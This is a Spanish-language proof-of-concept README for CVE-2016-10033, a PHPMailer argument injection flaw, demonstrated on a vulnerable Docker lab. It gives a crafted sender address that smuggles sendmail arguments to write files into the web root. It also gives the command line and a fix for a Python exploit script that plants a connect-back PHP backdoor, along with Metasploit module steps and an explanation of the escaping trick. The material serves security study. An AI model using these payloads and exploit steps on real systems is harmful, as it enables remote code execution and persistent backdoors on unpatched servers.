astrowmist/poc-cve-2016-10033Prueba de concepto para el CVE-2016-10033 (PHPMailer)
Primero, pongamos en marcha la aplicación vulnerable
Comando: docker pull vulnerables/cve-2016-10033
Ahora puede acceder al sitio web vulnerable en localhost:8080 desde el navegador web.
Entrada de nombre: OSEC (puede ser cualquier cadena, esto no afecta al exploit)
Correo electrónico del remitente manipulado: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
El funcionamiento de este correo electrónico del remitente manipulado se explica en detalle en la sección de descripción del vector de ataque. En cuanto a los parámetros específicos, el segundo parámetro -oQ/tmp especifica el directorio de cola y el tercer parámetro, -X/www/pwn.html especifica la ubicación del archivo de registro que se va a escribir.
Si no se especifica el directorio de cola, el proceso sendmail intentaría acceder al directorio de cola de correo predeterminado (/var/spool/mqueue-client/) que estaría protegido para evitar el acceso no autorizado y la manipulación, lo cual es una medida de seguridad común. Para evitar este problema de permisos, debe especificar un directorio de cola donde el usuario que ejecuta el script PHP tenga permisos de escritura. Comúnmente se usa un directorio como /tmp porque suele ser escribible por todos los usuarios.
Si el cuerpo del correo electrónico contiene código PHP y el archivo de registro especificado se coloca en un directorio accesible desde la web, el atacante puede ejecutar el código PHP accediendo al archivo de registro a través de un navegador web, lo que resulta en una ejecución remota de código.
Entrada de mensaje: Este es solo un archivo HTML de ejemplo que un atacante podría subir. Por supuesto, el atacante podría subir algo mucho peor, como una puerta trasera, que haremos en el siguiente método de explotación.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>
Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> especifica la URL objetivo
-cf -> especifica la ubicación del formulario de contacto dentro de la URL especificada en -url. (En nuestro caso es exactamente la misma que -url, así que solo incluimos una barra inclinada)
-ip -> especifica la IP del atacante para que la puerta trasera se conecte de vuelta
-d -> especifica el directorio relativo para subir el archivo PHP de la puerta trasera
--post-action -> El atributo name del campo oculto
--post-msg -> El atributo name del campo de entrada de mensaje
Nota: La razón por la que tenemos que especificar --post-action como “submit” y --post-msg como “message” es porque en la aplicación vulnerable que estamos usando, el atributo name es diferente de los valores predeterminados usados en el script de exploit de Python.
Los atributos name en la aplicación vulnerable:
Los atributos name predeterminados especificados en el script:
En la imagen anterior puede ver que el programa está intentando acceder a http://127.0.0.1:8080//www/phpbackdoor9284.php, lo cual es obviamente incorrecto por el //www. Esto no funcionará porque en este sitio web vulnerable /www es la raíz del sitio web, por lo tanto, no se puede ir a http://127.0.0.1:8080/www ya que http://127.0.0.1:8080 ya está en /www.
También en la imagen a continuación podemos ver que el exploit en realidad funcionó porque phpbackdoor9284.php se ha creado exitosamente en el directorio. Por lo tanto, el único problema era cómo eliminar ese //www de la URL.
Al inspeccionar más a fondo el script de Python, logramos localizar la variable BACKDOOR_URL que especifica la URL al archivo PHP de la puerta trasera.
En la variable podemos ver que el directorio de destino que especificamos (args.TARGET_UP_DIR) se está concatenando junto con la variable BACKDOOR_FILE.
Para solucionar el problema, necesitamos eliminar eso y la barra inclinada adicional.
Antes:
Después:
Comandos:
msfconsole
search CVE-2016-10033
use 1
Comandos:
set RHOSTS 192.168.79.1 (especifica la IP del objetivo)
set RPORT 8080 (especifica el puerto del objetivo)
set TARGETURI /(especifica la URL del formulario web)
set WEB_ROOT /www (especifica dónde se encuentra la raíz del sitio web)
Comando: exploit
Hemos llegado al final del POC.
La clase PHPMailer usa la función mail() de PHP como su transporte predeterminado.
El transporte se implementa usando la función mailSend():
Si observa la línea 12,
la dirección del remitente se concatena con -f según la documentación de PHP de la función mail() para indicarle al binario de sendmail que la cadena después del argumento -f es la dirección de correo electrónico del remitente.
En la última línea de la función mailSend(),
se pasan todos los argumentos requeridos por la función mail() de PHP, incluido el quinto parámetro de $params, que permite pasar parámetros adicionales al binario de sendmail.
La imagen a continuación muestra los parámetros que toma la función mail(), que coinciden con los parámetros que pasa la función mailSend().
Como se vio anteriormente, sabemos que la cadena $params se construye a partir de la variable Sender. Esta cadena de Sender normalmente se establece usando el método setFrom(), que valida la dirección del remitente que el usuario escribe en el formulario web.
Debido a la validación de la función validateAddress(), PHPMailer rechazaría, por ejemplo, un correo electrónico como,
attacker -InjectedParam2 @attacker.com
lo que evitaría la inyección de parámetros adicionales a Sendmail a través de la función mail().
Tras una investigación más profunda por parte del descubridor del CVE, se dio cuenta de que la validación en realidad se realiza utilizando la especificación RFC 3696.
La RFC permite que los correos electrónicos contengan espacios cuando se citan con ". Por lo tanto, la siguiente dirección de correo electrónico sería aceptada por el método setFrom():
"Attacker -Param2 -Param3"@test.com
Que luego se pasaría a la función mailSend() y luego a la función mail() de PHP, la cual ejecutaría /usr/bin/sendmail, el binario del MTA (Agente de Transferencia de Correo), con la siguiente lista de argumentos:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (read recipients from headers)
Arg no. 2 == [-i] (ignore dots on lines)
Arg no. 3 == [-f”Attacker -Param2 -Param3”@test.com]
En otras palabras, así:
lo que no funcionaría para el atacante ya que Param2 y Param3 se pasan dentro del mismo argumento número 3, que especifica la dirección del remitente.
Sin embargo, los atacantes pueden salir de esto mediante algún escape adicional. Al inyectar una secuencia adicional de \" en el correo electrónico del remitente después del primer argumento,
"Attacker \" -Param2 -Param3"@test.com
y cuando se pasa a PHPMailer y eventualmente a la función mail(), ejecutaría el binario de sendmail con la siguiente lista de argumentos
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]
En otras palabras, así:
Por lo tanto, esta vez los atacantes podrían inyectar parámetros adicionales, en este caso los parámetros 4 y 5.
Esta vulnerabilidad fue encontrada por Dawid Golunski.
La imagen Docker fue creada por opsxcq - https://github.com/opsxcq
y por último, pero no menos importante, mis queridos compañeros de grupo que me ayudaron con el POC :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/